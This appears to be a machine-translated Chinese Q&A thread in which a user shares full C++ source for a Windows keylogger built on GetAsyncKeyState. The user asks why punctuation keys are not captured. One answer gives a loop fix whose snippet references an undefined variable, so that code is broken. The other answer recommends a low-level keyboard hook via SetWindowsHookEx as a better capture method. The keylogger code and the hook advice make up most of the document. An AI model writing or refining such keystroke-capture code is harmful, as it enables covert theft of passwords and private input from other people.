Question

我正在尝试创建一个键盘记录器。我决定使用GetAsyncKeyState函数。我编写了所有按键。当我测试我的键盘记录器时，我发现控制台上没有显示像＆lt;。＆gt; /？;：'“[{]} \ | = + -_这样的键。为什么？

这是我的代码：

#include <iostream>
#include <Windows.h>
#include <string>
#include <cctype>
#include <conio.h>

using namespace std;

string WhichKey(char key)
{
string ToReturn;

switch (key)
{
case VK_BACK:
    return "*BACKSPACE*";
case VK_TAB:
    return "*TAB*";
case VK_RETURN:
    return "*ENTER*";
case VK_SHIFT:
    return "*SHIFT*";
case VK_MENU:
    return "*ALT*";
case VK_CONTROL:
    return "*CTRL*";
case VK_ESCAPE:
    return "*ESC*";
case VK_SPACE:
    return " ";
case VK_PRIOR:
    return "*PAGE_UP*";
case VK_NEXT:
    return "*PAGE_DOWN*";
case VK_END:
    return "*END*";
case VK_HOME:
    return "*HOME*";
case VK_CAPITAL:
    return "*CAPS_LOCK*";
case VK_UP:
    return "*UP_ARROW*";
case VK_DOWN:
    return "*DOWN_ARROW*";
case VK_LEFT:
    return "*LEFT_ARROW*";
case VK_RIGHT:
    return "*RIGHT_ARROW*";
case VK_EXECUTE:
    return "*EXECUTE*";
case VK_SNAPSHOT:
    return "*PRINTSCREEN*";
case VK_INSERT:
    return "*INSERT*";
case VK_DELETE:
    return "*DELETE*";
case VK_LWIN:
case VK_RWIN:
    return "*WIN*";
case VK_NUMPAD0:
    return "0";
case VK_NUMPAD1:
    return "1";
case VK_NUMPAD2:
    return "2";
case VK_NUMPAD3:
    return "3";
case VK_NUMPAD4:
    return "4";
case VK_NUMPAD5:
    return "5";
case VK_NUMPAD6:
    return "6";
case VK_NUMPAD7:
    return "7";
case VK_NUMPAD8:
    return "8";
case VK_NUMPAD9:
    return "9";
case VK_F1:
    return "*F1*";
case VK_F2:
    return "*F2*";
case VK_F3:
    return "*F3*";
case VK_F4:
    return "*F4*";
case VK_F5:
    return "*F5*";
case VK_F6:
    return "*F6*";
case VK_F7:
    return "*F7*";
case VK_F8:
    return "*F8*";
case VK_F9:
    return "*F9*";
case VK_F10:
    return "*F10*";
case VK_F11:
    return "*F11*";
case VK_F12:
    return "*F12*";
case VK_SCROLL:
    return "*SCROLL_LOCK*";
case VK_NUMLOCK:
    return "*NUM_LOCK*";
case VK_MULTIPLY:
    return "*";
case VK_ADD:
    return "+";
case VK_SUBTRACT:
    return "-";
case VK_DIVIDE:
    return "/";
case VK_DECIMAL:
    return ".";
case VK_LBUTTON:
    return "*left_click*";
case VK_RBUTTON:
    return "*right_click*";
case VK_MBUTTON:
    return "*middle_click*";
}

if (isalpha(key))
{
    if (!((GetKeyState(VK_CAPITAL) & 0x0001) == 0) ^ (((GetKeyState(VK_SHIFT) & 0x1000) == 0)))
    {
        key = tolower(key);                                                     //off
        ToReturn += key;
        return ToReturn;
    }
    else
    {
        ToReturn += key;                                                        //on
        return ToReturn;
    }
}
else if (isdigit(key))
{
    if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
    {
        ToReturn += key;                                                        //off
        return ToReturn;
    }
    else
    {
        switch (key)
        {
        case '1':
        {
            key = '!';
            break;
        }
        case '2':
        {
            key = '@';
            break;
        }
        case '3':
        {
            key = '#';
            break;
        }
        case '4':
        {
            key = '$';
            break;
        }
        case '5':
        {
            key = '%';
            break;
        }
        case '6':
        {
            key = '^';
            break;
        }
        case '7':
        {
            key = '&';
            break;
        }
        case '8':
        {
            key = '*';
            break;
        }
        case '9':
        {
            key = '(';
            break;
        }
        case '0':
        {
            key = ')';
            break;
        }

        }

        ToReturn += key;                                                        //on
        return ToReturn;
    }


}
else
{


    switch (key)
    {
    case VK_OEM_1:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = ';';                                                      //off
        else
            key = ':';
        break;
    }
    case VK_OEM_PLUS:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '=';                                                      //off
        else
            key = '+';
        break;
    }
    case VK_OEM_COMMA:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = ',';                                                      //off
        else
            key = '<';
        break;
    }
    case VK_OEM_MINUS:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '-';                                                      //off
        else
            key = '_';
        break;
    }
    case VK_OEM_PERIOD:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '.';                                                      //off
        else
            key = '>';
        break;
    }
    case VK_OEM_2:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '/';                                                      //off
        else
            key = '?';
        break;
    }
    case VK_OEM_3:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '`';                                                      //off
        else
            key = '~';
        break;
    }
    case VK_OEM_4:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '[';                                                      //off
        else
            key = '{';
        break;
    }
    case VK_OEM_5:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '\\';                                                     //off
        else
            key = '|';
        break;
    }
    case VK_OEM_6:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = ']';                                                      //off
        else
            key = '}';
        break;
    }
    case VK_OEM_7:
    {
        if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
            key = '\'';                                                     //off
        else
            key = '\"';
        break;
    }

    }



    ToReturn += key;
    return ToReturn;

}

ToReturn += key;                                                    
return ToReturn;
}

int main()
{

char key;

while(1) 
{ 
    for(key = 0; key <= 256; key++) 
    { 
        if (GetAsyncKeyState(key) & 0x0001)
        { 
                cout << WhichKey(key); 
        } 

    } 

} 


return 0;
}

提前致谢并抱歉我的英语。

Answer 1

尝试此操作，将for循环变量key更改为int而不是char。

int key;

while (1) {
    for (key=8; key<= 255; key++) {
        if (i < 160 || i >165) {
            if (GetAsyncKeyState(i) == -32767) {
                <event>
            }
        }
    }
}

return 0;

Answer 2

首先，这是编写键盘记录器的一种非常天真的方法。实际上我和大约10年前一样尝试过同样的事情。

更好的方法是使用Windows Hooks。

LRESULT CALLBACK llKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *hookStruct = (KBDLLHOOKSTRUCT*) lParam;

    // Parse the lParam value and members of the hookStruct structure

    return CallNextHookEx(0, nCode, wParam, lParam);
}

// Somewhere in your program, call the following function:
// Initialize the hook
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) llKeyboardHook, 0, 0);

这里的主要想法是让Windows为您确定生成的“输出”字符，而不是像您所做的那样为每种可能性创建一个switch-case。

我知道这并没有直接回答你的问题，但你所采取的方法实际上是最糟糕的做法。

GetAsyncKeyState（）不适用于'OEM'键

2 个答案: